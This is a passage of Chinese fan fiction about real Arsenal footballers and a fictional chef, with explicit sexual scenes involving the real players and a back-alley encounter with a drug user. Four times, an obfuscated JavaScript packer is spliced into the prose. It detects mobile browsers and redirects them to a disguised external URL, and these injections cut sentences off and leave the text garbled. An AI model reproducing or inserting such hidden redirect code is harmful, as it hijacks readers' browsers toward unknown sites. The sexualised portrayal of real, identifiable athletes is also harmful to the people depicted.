“Oh!Fuck!这么弱的吗?”克里奇利虽然抱怨,但仍希望主场先进球,毕竟他是来看他唯一的熟人的,一夜熟人。 厄德高又回头看了他一眼。 理查德怼了怼他,说:“如果他不是对你有意思,就是有意见。” “有呗,我不否认我喜欢金发男人,相反,我爱的要死,他要是上去能救场,我叫他爸爸,关键是他看我有什么用,他倒是上啊。” “嘿,你脑子有病吗?他刚伤愈归来,你也不做做功课。”保罗拿着手机给他看厄德高受伤的新闻。 “噢…”克里奇利撇撇嘴,想收回刚才的胡说八道。 结果下半场刚一开始,厄德高就开始换衣服,他要上了。 上之前,他主动对克里奇利伸出手,搞的克里奇利很尴尬,只好也伸出手,说:“抱歉,我收回刚才的话。” 厄德高使劲拍了他手心一下,说:“不,你记住你说的话。” 看着金发男人意气风发的准备登场,克里奇利有些心虚,他要是真进球了,自己是不是就多了一个金发爹,真他么想爆掉自己的贱嘴。 结果,第64分钟,厄德高开出脚球,加布里埃尔头缒破门,阿森纳1:0领先热刺! 阿森纳球迷沸腾了,这一粒进球打破僵局,来的正是时候,热烈的场面让三个门外汉也跟着跳了起来。 跳完了,克里奇利心里倏的紧了一下,他对他俩说:“我刚才是不是说他要是进球我叫他爸爸来着,幸亏这球不是他进的。” “他的助攻,也算给了你一巴掌,叫你瞎几把说。” “我的毒嘴要是真管用那就好了,那么,今晚阿森纳赢球,我就告诉你们我睡的谁!” 这一粒进球保持到终场结束。和他共度春宵的那位表现的也很不错,两次头球差点得分。但克里奇利看的不是他技术多好,而是看出他应该吃点什么补补。 两个好事的家伙相视一笑,想要八卦的小心思全都写在脸上,结果克里奇利又做烂人,说自己要去找厄德高要个签名,你们先滚吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344773|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们可太了解克里奇利了,他能遵守诺言就是铁树开花,公鸡下蛋,开了天眼了。 理查德搂着保罗准备去接下来的二场了,走之前不忘提醒克里奇利:“你找你爹签名,别被你爹kick your ass !” “Bullshit!他要是真进了,我跪/舔他都行!” “也不知道谁占便宜。” “快滚,两个混蛋!” 他们给克里奇利留了空间,希望他能记住自己犯的贱,然后下次犯的时候好狠狠嘲笑他。 这时球员谢场后来到替补席拿东西退场,克里奇利看到厄德高向他这边走过来,他突然又打了退堂鼓,对于自己的球盲行为感到无地自容,就算喝多了第二天不记得小伙子姓名也没这么内疚过。 好在厄德高被记者拦住采访,他趁机扭头就走,又被一个脆生生的声音叫住。 “布莱恩!” 被这么亲密的喊名字,克里奇利脚步一停,慢慢转过头来,表情有些僵硬的笑笑,“嗨!小凯。” “你真来了!” “嗯,恭喜你们赢球!” 他们隔着栏杆对视,克里奇利站的高,俯视着被汗水浸湿头发,脸上红扑扑的瘦削男孩,这样看脸也不是很长,才巴掌大小。 “你们认识?”厄德高很快就赶了上来,一把搂住哈弗茨的脖子,挑眉看向栏杆后面笑容瞬间凝滞的人。 “呃,我们刚认识不久。”哈弗茨低头浅浅的应着。 “那你一定不如我和他熟。” “哦?” “我们好像是近亲。” 厄德高说完抬眼去看直咽口水的克里奇利,只见他稍稍回神,接着呲出他的左边小虎牙,给了他们一个不置可否的笑意。 “他是你哥?”哈弗茨指了指他,又指了指厄德高,“不会吧,之前他来过你怎么没说?” “哈哈哈…”厄德高笑得前仰后合。 “嗨,既然是亲戚,就给我签个名吧。” “没问题。”厄德高撩了撩湿漉漉的金发,接过他递过来的签字笔。 “名字?”他抬起水蓝的眼睛看着他。 “布莱恩.克里奇利。” 厄德高索性把衣服脱了,直接给了他一个to签,还画了一个爱心。 这一幕看傻了哈弗茨,心里感叹,克里奇利这张脸到底嚯嚯了多少人,连一向矜持忧郁的小队长都对他这么感兴趣,还没见过这个场外害羞男主动送球衣还画爱心的时候。 搞的他有些醋意,还有些懵圈,两个人看上去熟也不熟,说是亲戚连名字都不知道,但又不像第一次见面,不管了,谁会对万金油动心谁是傻瓜。 厄德高明显心情不错,这是他伤愈复出第一场球,刚上去就送了个助攻,他觉得是中午吃的开心,晚上又被狠狠期待了,这个在他背后说小话的男人竟让他一下子就找到了状态。 当克里奇利对着他笑的时候,金发碧眼的挪威男孩又想起来他说的,对金发男人没什么抵抗力,而且好像还不止说了一遍,他到底什么来头,不像刚认的儿子,反而又股子爹味儿。 5. 第 5 章 今天算是栽了,不过他认了,厄德高助攻的话,那他也算一个间接助攻吧,还是一个好大儿助攻。 克里奇利在回去的路上还在回味这场比赛,特别是花絮。哈弗茨一定会追问厄德高这是怎么一回事,而厄德高也一定会津津有味的给哈弗茨讲自己是怎么当上爹的。 他捻了捻手里的红色球衣,还潮乎乎的,他直接签上名了,是洗还是不洗?一般得到了to签都怎么做,他是一点经验都没有。 他从网上搜了一下,有人建议送去专业球衣装裱店去处理。没想到他的第一件具有收藏价值的球衣是他刚认的金发爹给的,自己要不成为阿森纳的球迷都说不过去了。 第二天一早,他把已经酸臭了的球衣送去装裱店,告诉他们一定要保存好这个to签再洗干净裱起来,装裱店的经理羡慕的对他说:“放心吧,我们是专业的,不过,真难得,我还是第一次见厄德高的to签,还是落场,他得多高兴啊!” “是,他真的很高兴,回归后第一个助攻。” “我能问一下你是怎么得到的吗?” “也许是他给自己立的这场要是怎么样(助攻或进球)就怎么样(完成球迷的一个小心愿)一个flag吧。” 克里奇利在经理咀嚼自己意味深长的话语时转身走出店面,并自嘲了一句:“他能不高兴吗,幸亏没在球衣上落款your dad。” 他今天的big case是去阿森纳订的宴会掌勺,菜谱昨晚加班做好了,除了官方准备的食材之外,他还要亲自选购一些,于是在搞定了球衣之后,就去了农贸市场。 订好了货以后,他叫助理送到宴会厅,然后照例去健身,做形象管理,这个case结束后,他想回归职场了。 那两个自由职业者随叫随到,已经在健身房里四处散发魅力了,见他来了,放弃自己刚勾搭的健身搭子,一个两个的围上来,问他昨晚有没有后续剧情。 “我倒是想。”克里奇利给自己上了点强度。 “昨晚没和你的球星再续前缘?” “我昨晚有正经事要做,再说,我是one night主义。” “噢shit!死性不改。”理查德撇撇嘴。 “不愧是你。”保罗戳了戳他的薄肌,“胸肌还行,腹肌还得练。” “练着呢,每晚都练。” “昨晚不是加班了?” 克里奇利挑了挑眉,目光暧昧的落在不远处一个金发小哥身上,正是刚刚保罗搭讪的那个。 “噢F!不是吧!布莱恩,你真是个贱人!就不能给兄弟留点,是个帅哥就他妈跟你干过,真没法跟你做朋友了。” “他昨晚管我叫什么,老爽了!” “呕!”通常,他的好朋友们随时都会变成雄竞失败的情敌,被他碾压的渣都不剩。 很快,克里奇利就人模狗样的出现在了晚上聚餐的现场。 今晚是一个大工程,他决定以这餐为再成名作,正式向阿森纳俱乐部请求一个主厨的位置。前提是他必须把这一餐做到极致,虽然众口难调,也要确保至少有一道菜能戳中客人的的心巴。 当然,嘴刁的厄德高是他今晚要拿下的重要人物。要想过了这个梗,必须先征服他的胃。否则自己永远要被他压一头,这在他的字典里可不是什么值得骄傲的事,而是耻辱。 当他准备了两个小时的菜品被放进银闪闪的餐盘里时,一场盛大的宴会开始了。 这种场面他见的多了,虽然大部分是自助餐,也有明星想要主厨现场露一手的,比如烟熏火燎的铁板区,今晚,由克里奇利亲自操刀,火焰和热浪吸引了一边挑选食物一边优雅社交的人们。 很快,一场盛大的宴会就变成了大型蹦迪现场,那滋滋的烤肉声和窜的一米多高的火焰,给宴会增加了几分火热的情绪。 厄德高更喜欢冷食,当几个小孩子被家长制止接近火焰时,他也被那边的热闹吸引了。再一看,鼎鼎大名的厨神克里奇利正像变魔术一样把肉片烤的像玻璃一样晶莹剔透,再一片片的分给举着盘子的人们。 厄德高向侍应要了两杯威士忌,来到克里奇利面前,看他在表演煎鸡蛋,用铲子把鸡蛋抛向空中,鸡蛋不偏不倚的落在他另一个铲子上,他的铲子就像一个画笔而鸡蛋液就是作画的颜料,你想要爱心或是像咖啡那样的拉花都可以,但表演时间只有15分钟而已。 表演时间到,孩子们拿着自己心仪的作品离开了,一个个兴奋的互相攀比着。 “这太神奇了!”厄德高手里端着两杯酒看入迷了,竟忘了是来请克里奇利喝一杯的。 “虽然表演时间到,但我愿意为你单独制作一份。”没等他回答,克里奇利就开始用鸡蛋画爱心了,爱心中间还穿着一枚箭,最后用仅剩的一点蛋清写了To E,B. 显然,这是送给厄德高的署名为B的to签。 “哇哦,谢谢。”厄德高惊讶的看着他把“画作”装进一个瓷盘里。 他要空出手来接,才想起来手里的酒,他把酒杯递过去,说:“我是来请你喝一杯的。” 克里奇利似乎被吓到,他一边说no一边伸出手去推,正碰上厄德高往前送的手,酒从杯子里溅出几滴,落在了铁板上。 铁板瞬间蹿起来一股火苗,但还没等蹿高克里奇利就神速的拿起锅盖扣在了火苗上。 接着,他熟练的关掉开关,吐了一口气,再看向这个差点给他惹了大麻烦的金发男人。 显然,男人还没有从惊吓中回过神来,他眨了眨眼睛,接着像个做错事的小孩子,嘴巴张了张,轻声说了句抱歉。 克里奇利笑笑,伸手握住了他的手腕,另一只手稳稳的接过他的酒杯,接着把餐盘交到他的手上,眯起了他随时放电的大眼睛,说道:“没烫着你才是最重要的事。” “没,没有,你太快了。”厄德高好像被什么东西给挠了一下,说话都结巴了。 “嗯?我没有你想象的那么快。”克里奇利抬眼盯了他一秒。 “我是说你的反应。”金发男人脸色红润起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344774|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “就跟你在球场上一样,职业基操罢了。”克里奇利举了举酒杯一饮而尽,说了句谢谢你的酒。 厄德高腼腆的笑笑,低下头看着盘子里的杰作,开始了他不擅长的寒暄。 “今晚的餐食不错,你很厉害。” “真的吗?那么请你告诉我哪道菜是你的最爱?” “em,挪威银鳕鱼,这次是浇汁的,说实话我更喜欢你上次做的清蒸的。” “你确定?” “嗯。” 克里奇利失笑,心想你是真不会吃啊,这次可是新鲜刚出海水的,上次那个是什么玩意,不过清蒸冻鱼也只有他能做的出来。 “对不起,我不应该开你的玩笑。”厄德高对于之前呈口舌之利表示自己的绅士风度,“显然你有更擅长的领域。”他对克里奇利刚才的一番操作表示敬佩,然而这敬佩的画风急转直下。 “害,没什么,你想让我叫也行,只是这里人太多。”克里奇利伸出舌尖舔了舔他那不同于没有嘴唇的传统英国人的性感饱满的唇瓣,释放出懂的都懂的一波眼神攻击。 这时,露天party灯光转暗,音乐也柔和下来,舞池中的人群开始交换舞伴,喜欢蹦迪的小年轻也给上了年纪的夫妇们让出了位置。 哈弗茨从舞池中抽出身来,往这边望了一眼,就看见克里奇利脱了厨师服,拉着厄德高的胳膊闪身进了内厅。 “要命,他果然是个祸害!”哈弗茨对着克里奇利高大的背影暗骂着,神情中闪过一丝落寞,接着就被赖斯圈住了脖子,说要和他跳一曲。 哈弗茨以我要尿尿为由拒绝了。 卫生间里。 克里奇利把金发男人压在暗格的墙面上,一个热烈霸道的吻剥夺了金发男人欲言又止的唇畔。 本来他就不善言辞,还非要有一搭无一搭的和厨子寒暄,几十道精美的菜品他不感兴趣,非要招惹厨子不可。 这可是今晚一道压轴菜,餐饮界头牌,给了阿森纳一哥,绝对的“火上浇油”,很快就将身体点燃。 吻过才知,金发男人兴致有多高,他的吻技并不优秀但急于表现,像是一条缺氧的小鱼不停地寻找氧份含量充足的水域,得到满足后仍渴求着更加凶猛的海浪,将它再次推上窒息的边缘,让他的喘息忽急忽缓,忍不住发出轻轻的鸣音。 克里奇利的金发梦正在上演,这比昨晚的身体可好太多了,不到180的身高加上紧致的背部和臀部,韧劲十足的触感从指尖到掌心再沿着胳膊涌上后脑,连下身都酸酸麻麻的,球星可太香了。 身前的金发男人对他四处点火的手还有些欲拒还迎,说着,“我修养了小半年,肌肉还没恢复到最佳状态。” “你是我摸过的手感最好的男人,你知道的,有的人不是太硬就是太软,而你恰到好处。” “渣男top,我早就看出来,你不是个省油的灯。” “那么小猫bottom,很荣幸为你效劳。” 两人正准备更进一步,有人进来了。 6. 第 6 章 听到有人来,厄德高紧张的捏紧了克里奇利的肩膀。 越是大气不敢喘,越让克里奇里感到兴奋和刺激。 他在夜店,什么事都干过,还怕有人来吗? 但这不是夜店,而他怀里的人正在瑟瑟发抖。 “有人。”金发男人按住了他不老实的手。 克里奇利没理他,依然陶醉的亲着他,手掌扣紧他的腰,像掌控一只跳脱的兔子,一点一点加重了力道,把兔子往怀里按。 不速之客显然觉察到了这里面不寻常的动静,但他并没有打扰,只是解决完了以后走去洗手台洗手。 趁着他放水的时候,克里奇利掰过金发男人的肩膀,背对着他压在隔板上,左手捂住他的嘴,右手掀起了他塞在裤子里的蓝色衬衫。 男人交错的喘息声淹没在哗哗的流水声里。流水戛然而止,命运掌握在他人手中的可怜的小猫死咬住嘴唇发出了一声极其克制的鼻音,接着他回手按下了冲水键,试图再次用流水声掩盖这狭小闭塞空间里正在发生的一切。 洗手的人抬头看了看镜子,镜子后面那间显示正在使用的隔间就在他的身后,他抽出纸巾擦了擦手,目光暗淡的离开,只留下一串皮鞋重重磕在瓷砖上的声音。 “他走了。”克里奇利抬起左手揉了揉厄德高的发顶,温柔的安抚他。 “你也走吧。”他重新把衬衫塞进裤腰里,系上腰带。 “噢,我以为只有我没有良心。”克里奇利低垂着眉眼看向他,鼻尖快要戳到他的脸。 “晚点联系。”厄德高用抱歉的眼神回看了他一眼,接着低下头看到他被自己弄脏的右手,毫不留情的把stand的克里奇利推了出去。 好吧,宴会进行到一半,厕所里马上就会有陆陆续续的人进来,就跟飞机起飞发完餐食饮料就纷纷往飞机两头走是一个道理,这里的确不是do sth. 的好地方。 克里奇利被他推了出去,只好挪步去洗手台洗了手,整理了一下衬衫领子,对着镜子自恋了一番,才迈开步子走出门去。 身上似乎还残留着挪威小海鲜的腥甜味道,脑子里反复播放他说“晚点联系”这句明显带有暗示的话,克里奇利升起的燥热很难迅速sit down,正当他低头看的时候,突然脖子被人从身后勒住,接着被拖进昏暗的楼梯间。 他被那人狠狠地扔在墙面上,接着被捂住了嘴巴,带着热浪的身体随即贴了上来,让他没憋住一声闷哼的是那人用胯骨碾了他一下。 瘦到硌人。 楼梯无人使用,感应灯都不亮了,但走廊的灯光映射进来,还是让克里奇利看清了那人的脸。 “凯…”他憋着一口气,忍着后背的疼痛,硬生生从嗓子里挤出一个名字。 “……”哈弗茨没有说话,只是大腿紧紧地贴着他,利用身高优势压迫他的喘息。 克里奇利没动,放心的让哈弗茨这么贴着,捂着他嘴的手顺势搭在他的肩膀上,另一只手撑在他耳侧的墙面上,侵略性很强的困住他。 克里奇利有些诧异,他被强取豪夺了? 哈弗茨想说什么,但张了张嘴什么也没说出来,好像很挣扎似的思考了半天,突然松开手,头也不回的走了。 他暴力劫持,暴力试探了克里奇利的底线,又一语不发的离开,这一波操作把克里奇利搞得有点懵。 他有气,克里奇利又不傻。他什么都看见了,却又因为之前仅仅是一夜情而对自己束手无策,是不该动心的,这就是信奉one night主义的好处,谁要扯恋爱结婚的蛋,那跟异性恋有什么区别。 克里奇利摇了摇头,掏出烟来,用力吸了一口,心里还是有些担忧,可千万别因为他影响了小凯的状态。这在以前他是绝对不会有这个觉悟的,难道是一场热血沸腾的比赛,还是小凯羞涩又发狠的第一次,让他有了一点点的责任心? 很快,他就否定了自己奇怪的想法,没有什么比即将到来的金色艳遇更令人期待。 哈弗茨没有回到酒会上去,而是借口喝醉了早早离场,甚至没有跟队长打个招呼。 他在车上反思自己,对自己刚才做的事感到无比后悔,他这不是吃醋是什么,幼稚,什么时候约会(p)的人也值得让自己吃醋了,再说做之前他已经坦白了各取所需的目的和他碎一地的节操,以及他吊儿郎当概不谈情的渣男人设。 但哈弗茨还是很气,怎么可以这么快就勾搭上自己的队友,摔的他轻了,他的后背一定很痛,活该,祝他今晚一用力就痛! 宴会结束,大家都喝了不少,一个个摇摇晃晃的带着自己的舞伴离场。 克里奇利如愿以偿的接上和他有约的人。他决定今晚不喝酒,不然明天醒来要是记不住金发小哥的名字,会再得罪一个。 “房子不错。”厄德高迈进这个曾被人调侃“阅人无数”的阁楼,映入眼帘的是一个开放式的大房间,客厅厨房卧室浴室一览无遗,没什么隐私感,就连落地窗都是一整排,占据了一半的墙壁,幸亏是顶层,不然搞事情会被看个通透。 “没什么,一个冬暖夏凉的容身之所而已。”克里奇利回来以后无比放松的伸了个懒腰,肩胛骨还有点刺痛,他把衣服一扒直接扔在地上,鞋子一脚一个精准踢进门口的收纳箱里。 惹得厄德高笑了,他说:“可惜了,是块踢球的料。” e on~”克里奇利对于自己的班门弄斧表示惭愧,他只是习惯了而已,接着他就把自己脱的一件不剩,走去吧台倒了两杯白兰地,举杯邀他共饮。 这一波行云流水的操作,着实惊呆了第一次“□□”的挪威小猫,他一时不知道该先脱还是该先过去接酒杯。 克里奇利怎么会让他的客人感到尴尬呢? 他干了自己那杯,灼热的目光看向那双水蓝的眼睛,走过去撩起他的下巴,杯沿触碰那人的薄唇,将手里的酒送了进去。 他一粒一粒的解开他的衬衫扣子,手指熟练的咔哒一声打开了他的腰带扣,很快就像剥香蕉一样,把人剥了个干净。 为了照顾他害羞的情绪,克里奇利吻了吻他的眼睛,这样他就会闭上双眼,尽快投入到温柔的前戏中。 吻着吻着,他就从被动承受到主动迎上来,还踮起脚来够克里奇利故意扬起的下巴。 他们拥吻着走进浴室,很快,浴室的玻璃就起了一层雾。 克里奇利拿起精油肥皂饶有兴致的在他的背上揉出泡沫,手指像蛇一样顺着他脊背的线条游走,直到幽深之处。 趴在墙壁上的人全身被热水洗的更加白皙,而克里奇利是日晒的小麦肤色,也被热浪冲刷的白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344775|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里透红。 又该烤灯了他想,太白了晃眼睛,而且不经搓,几下子就红一道白一道了,看着眼前的纯正白人被他揉出了痕迹,一种“凌虐”的视觉冲击让他很快就废了一个小方塑料袋。 转战正式战场,那里有柔软的鹅绒铺盖和减震效果一流的床垫,折腾管够。 一夜风光。 只睡了4个小时的金发男人正被手机闹钟吵醒,他按下了停止按钮,看了一眼时间。 “我艹!”他瞬间清醒,这是响了几遍,睡熟了的他们谁也没听见。 今天要出发去米兰,他来不及洗漱,几下子穿好衣服裤子就要冲出去。想起昨夜的疯狂,他还是回头看了一眼床上熟睡的男人,弯下腰亲吻了他的鼻尖,那人睫毛一颤,没有睁眼,转了个身继续睡。 他拎着自己的鞋,轻手轻脚的出了门。 克里奇利醒来看到一地的狼藉,脑子里快速搜索了几秒,接着又一头栽倒进柔软的枕头里,随手拿起另一只枕头蒙住自己的脸,想着昨晚没喝酒,真好,那令人窒息的画面还历历在目,枕头上还残留着好闻的木质香气。 人呢,已经撤了,不留痕迹的完成了他的使命,希望昨晚的体验他还满意。 收到了一笔酬金的克里奇利今天看上去神采奕奕,当他出现在健身房的时候,他的两个好朋友已经等着八卦他了。 “笑什么?我脸上有什么东西吗?”克里奇利摸了摸自己的脸,上了跑步机。 “笑你又发春。”理查德趴在他对面看着他。 “什么叫又,我不是一直在发。” “大漂亮昨晚又吃了什么好饭?”保罗给他调快了两个档。 “挪威海鲜,丰盈多汁。” “啧啧啧。不会又是球星吧?” 这时,克里奇利手机响了。 “你好。什么?真的吗?下周一?好的,没问题。” “什么事这么高兴?” “唉,这可能是我最后一个自由的周末了。” “你找到工作了?” “下次再看阿森纳的比赛就不用搞票了。” “什么?” 两个宅男惊讶的互看一眼,接着把他从跑步机上拽下来,拉着他不散伙,“布莱恩,你小子什么时候开始用脑了,睡球星,接阿森纳的活儿,还要入驻人家后厨,下一步是不是要攻略英超了。” “没有啊,睡球星跟找工作两码事,不要混为一谈,只不过以后会方便一些。” “我就说,他脑子长下半身了,他不是利用球星给自己找工作,而是要找工作来方便自己睡球星。” 克里奇利重新上了跑步机,又给自己调快了两个档,一边跑一边说:“以后周末我就不能陪你们瞎玩了,这个周末去玩个痛快!” “对我们来说,天天都是周末。” “噢,这么打击一个要通勤的人是什么好朋友?” “布莱恩,你还知道打击?幸亏我们俩是top,不然也被你睡了。” “你俩?”克里奇利笑的上气不接下气。 “噢,fuck you!”两个好朋友一人打了他一巴掌不搭理他了。 互怼互黑习惯了,三个老男人周末依然聚在一起。这次是在小酒馆里看欧冠小组赛,阿森纳客场挑战国际米兰。 7. 第 7 章 克里奇利看的很入迷,那两个人眼睛根本没在屏幕上,而是到处物色今晚的目标。 刚开场不到2分钟,国米的邓弗里斯就一脚挑射,击中了横梁。 “呼…好险。” 克里奇利呼出一口气。 而离他们不算远的一桌却发出了不同的声音,让克里奇利看到在伦敦的酒馆还有不偏向英超球队的球迷,不管他是热刺还是切尔西球迷,现在可是伦敦对话米兰,怎么还唱反调呢。 紧接着又是恰尔汗奥卢的远射打偏,那桌一个穿无袖背心露着花臂的男人失望的骂了一句。 26分钟,阿森纳的右边锋,英超最具潜力的英格兰国脚萨卡一脚小角度推射,被守门员挡了出来。 克里奇利不动声色的摸了摸嘴唇,心里想着阿森纳快进一个吧,就算不是阿森纳球迷,也是英国人,看不惯给外国人加油的瘪三。 可那一桌就跟疯了一样,疯狂的敲桌子,花臂男嘴里喊着干死阿森纳! 中场休息还是0比0。 理查德和保罗离开找乐子去了,克里利奇没动地方,他看了那个花臂男一眼,没想到对方也在看他。 克里奇利不动声色的转过头来,拿起桌上的啤酒倒了两杯,接着点燃了一根烟,似乎在等着有人过来。 不出意外的那个花臂男径直走了过来,克里奇利抽着烟没理他,他却拉过椅子,坐在了克里利奇的对面。 “你是要请我喝一杯吗?”花臂男的手指摸上酒杯。 “为什么?” “不然你总看我干什么?” “你不看我怎么知道我看你。” “好吧,你很帅。” “so?” “请我喝一杯,我就欠你的了。” 克里奇利假笑了一下,端起酒杯和桌子上的另一杯酒碰了一下,说:“我没那么多规则。” 花臂男心领神会的端起酒,咕咚咕咚的干了杯,打了一个酒嗝,贴近克里奇利的耳边,说:“现在还是?” “15分钟太短了。” “好,那一会儿见。” 花臂男心满意足的回到座位,在向他的哥们炫耀,今晚终于能猎到一个还能看得下去的。 下半场开始了,双方踢得依然焦灼。 厄德高耐心的组织着前场进攻,哈弗茨则不停的前插要球,他们的连线几次被断,搞得哈弗茨很郁闷,但他仍然保持着积极的拼抢,一次角球机会,厄德高开到前点,哈弗茨跳起争顶,只差了一点点。 踢了70几分钟,全员体力大幅下降,但哈弗茨仍像一头不知疲倦的小驴,横冲直撞的和后卫硬碰硬,有一种不要命的感觉,让克里奇利手心里捏了一把汗。 花臂男那桌的叫嚣更为刺耳,他们在喊着傻B阿森纳干死哈弗茨之类的话,引得其他桌不满的嘘他们,但他们那桌一看就是不好惹的小团体,不然也就不会在自己的地盘狂喷阿森纳了。 克里奇利还不太懂球迷文化,他还不知道有因为喝倒彩而被对方球迷打的头破血流的,但他知道,这帮人绝对是足球流氓,就等着有人挑衅好发泄亢奋呢。 他讨厌花臂男的同时更多的是关注场上的变化。 今天的哈弗茨好像很倒霉,裁判和守门员都跟他作对,但他把气撒在了队长身上。 因为一个黄牌,队长厄德高没有帮他据理力争,他一扬手表示,我们不该做软蛋。 厄德高不明所以的拍了拍他的后背,说:“凯,悠着点,别受伤才是最重要的。”他知道受伤的代价就是痛又无能为力。 哈弗茨虽然身背一张黄牌,进攻火力丝毫不减,几脚打门都颇具威胁。 “Fuck!废了哈弗茨就这么难吗?” 花臂男的话音刚落,阿森纳的任意球开出,哈弗茨在小禁区内位置优越,他高高跃起想要完成这一记绝杀,结果想要解围的后卫也同时跃起,头顶直接顶在了哈弗茨的额角上。 哈弗茨没有顶到球,却被人顶出了底线,他捂着额角躺在了地上,裁判见情况不妙吹哨示意队医进场,这时,哈弗茨的脸上已经鲜血淋漓。 “Oh yeah终于干倒他了!”花臂男尖锐的声音再度响起,别说周围一圈人想揍他,克里奇利都要按耐不住想要走过去掀桌子了。 简直是球迷的耻辱,不,他不配称之为球迷,就是一个垃圾人。 这时,理查德和保罗回来了,他们各有收获,一人搂着一个小肥鸡,准备和克里奇利Say goodbye,却看到克里奇利一动不动的站在那里,目光死死的盯住屏幕,脸上呈现着少见的愤怒。 “嘿,你还真成阿森纳球迷了?”不长眼神的保罗说着。 克里奇利这才回过神来,他把桌上的酒清了。这时,酒吧里响起一阵欢呼! 哈弗茨进球了! 这个处理伤口不到2分钟的硬汉缠着绷带又跑回了场上,就在补时的第三分钟,一记门前扫射将球打进,绝杀了国际米兰! “咳咳…咳咳…”这一口酒差点没呛死他,但看到这一幕的他,心里别提多高兴了,这将近2个小时的比赛,快把他逼疯了,还要忍受那一桌傻逼的疯狂diss,啊,做个球迷也不容易,看场比赛心情就跟坐过山车似的,但这场,无比痛快! 只是,进球功臣受伤不轻,进球后也没见他笑一笑。 克里奇利又看了一眼花臂男,那人正气急败坏的捶桌子,而他的朋友也跟被踩了尾巴似的,对人群咆哮着看什么看! 他们在一片嘘声中灰溜溜的离场。 克里奇利也告别了朋友,拿起外套走出酒吧。 他心里总觉得有件事没完。 果不其然,花臂男正在酒吧门口等着他。 克里奇利笑笑,使了个眼色,接着往酒吧旁边的暗巷走去,那人随即跟了上去。 “嘿,我今晚很生气,不过看你始终无动于衷,我很好奇你到底站那边?”花臂男追上他,才发现他比自己高一头还多。 “比赛而已,全当助兴。” “谁赢都行,就是不能让阿森纳赢!” “你跟阿森纳有仇?” “麻的,上个赛季害我输的底裤都没了!”他从裤兜里掏出一个小玻璃瓶,打开吸了一口,接着把手搭在克里奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344776|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利的肩膀上,准备和他大干一场。 原来是一个赌徒,还是一个瘾君子。 克里奇利心里涌上一阵抗拒,但仍表现的很淡定。 花臂男的手开始不老实,就在他把手伸进克里奇利的衣服里时,克里奇利抓住他的胳膊把他反压在墙面上。 动作有些粗鲁,那人哼了一声,接着喘着粗气说:“噢,还是个top,好吧,看在你这么帅的份上,我勉强当一次0.” “万年受都这么说。” 克里奇利一点没怜惜他,又把他翻过来,压着他双肩迫使他屈膝向下。 “on the knees.”来自训导师的一句毫无感情的命令。 果然顶级top就是有顶级top的架势,花臂男早就被克里奇利一晚上冷峻的颜给控的不行,现在一句跪下更让他浑身颤抖。 比起害怕,更多的是兴奋,他照做了,跪下来取悦着冷酷的男人,尽管还没得到他的名字。 克里奇里心里厌恶他,但身体被他伺候的还挺舒服,有点不忍心羞辱他了。 “好了,贱/huo,起来。”克里奇利揪住他的头发把他提起来再按在墙面上,解开他的腰带,并缓缓掀起了自己的衣摆。 衬衫里面是一件阿森纳的球衣。 这件球衣本来他打算在阿森纳取得进球时再亮出来,然后得意忘形的挤到舞池里跳舞。谁知道进球如此的慢,让他一直没机会展示,又在遇到这个人之后,突然改变了展示的时机和想法。 “Oh!Fuck off!”花臂男在看清了这件衣服的颜色后,瞬间变脸,他推了克里奇利一把,朝地上吐了口唾沫,慌忙系上腰带离开了这个又脏又臭的后巷。 克里奇利要是想继续羞辱他的话,就等着干完再亮了,只是他也觉得恶心。想来自己还是有底线的,无耻之徒不配得到他的甜头,如果要做,就捏着鼻子怼到他三天下不了床。 极度憎恶阿森纳的足球流氓跪着给阿森纳球迷口口,是一件无论如何都说不出口的窝囊事,也让花臂男每次看到阿森纳比赛的时候被迫去回忆,再乱叫的时候就得想想了。 过了一个美好的周末后,星期一早晨8:30,克里奇利身穿白色修身的厨师服,带着干净的厨师帽,一本正经的出现在阿森纳餐厅的时候,就和早早来上班的各位球星一一见面了。 